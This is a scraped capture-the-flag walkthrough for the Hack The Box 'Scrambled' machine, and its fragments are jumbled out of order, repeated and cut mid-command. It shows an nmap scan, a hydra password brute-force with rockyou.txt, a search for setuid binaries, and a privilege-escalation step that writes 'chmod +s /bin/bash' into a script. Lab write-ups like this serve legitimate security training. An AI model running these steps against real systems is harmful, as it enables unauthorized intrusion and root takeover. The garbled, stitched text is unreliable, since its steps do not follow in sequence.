We can use this service to execute commands on the system.
bash Copy Code Copied curl http://scrambled.htb/scrambled.db The file appears to be a SQLite database. We can download the database and analyze it using sqlite3 .
bash Copy Code Copied find / -perm /u = s -type f 2 > /dev/null We find a setuid binary in the /usr/local/bin directory. scrambled hackthebox
Let’s explore the functionality of the web interface and see if there’s a way to upload files or execute commands.
Introduction Scrambled is a medium-level Linux box on Hack The Box that requires a combination of enumeration, exploitation, and problem-solving skills to gain root access. In this article, we will walk through the step-by-step process of compromising the Scrambled box and gaining root access. Initial Enumeration To start, we need to add the IP address of the Scrambled box to our /etc/hosts file and then perform an initial scan using nmap . We can use this service to execute commands on the system
bash Copy Code Copied echo “chmod +s /bin/bash” > exploit.sh We can then execute the shell script using the setuid binary.
bash Copy Code Copied echo “10.10.11.168 scrambled.htb” >> /etc/hosts nmap -sV -sC -oA initial_scan 10.10 .11.168 The nmap scan reveals that the box is running SSH, HTTP, and an unknown service on port 8080. Let’s explore the web interface running on port 80. bash Copy Code Copied find / -perm /u
bash Copy Code Copied hydra -l username -P /usr/share/wordlists/rockyou.txt scrambled.htb -t 64 However, before we proceed with the brute-force attack, let’s check if there’s any useful information on the webpage.